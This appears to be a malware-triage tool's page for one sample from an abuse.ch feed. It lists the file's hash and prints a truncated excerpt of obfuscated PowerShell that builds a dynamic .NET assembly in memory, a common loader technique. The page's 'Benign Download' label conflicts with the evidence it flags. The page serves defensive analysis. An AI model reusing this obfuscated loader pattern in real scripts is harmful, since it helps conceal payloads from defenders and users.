Benign Download

2458ab1e87a1d4f4d0cc84e02aad6a0c85d966e6c397766cb30e756419004779.bin

PowerShell accesses AppDomain CurrentDomain.NET reflection marker in opaque content
SHA-2562458ab1e87a1d4f4d0cc84e02aad6a0c85d966e6c397766cb30e756419004779
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeH(Po)Md

Evidence

.NET reflection marker in opaque content lines 458–463
458:4… Loading application dependencies.
459 $tnEeuptcQZJc = Ne`w`-Ob`ject System.Reflection.AssemblyName("hagicLZNNao")
460
461
462$gEyXRAlhOKfqSqA = [System.AppDomain]::CurrentDomain.DefineDynamicAssembly($tnEeuptcQZJc, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
463 $leayGcpVrgcVG = $gEyXRAlhOKfqSqA.De …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.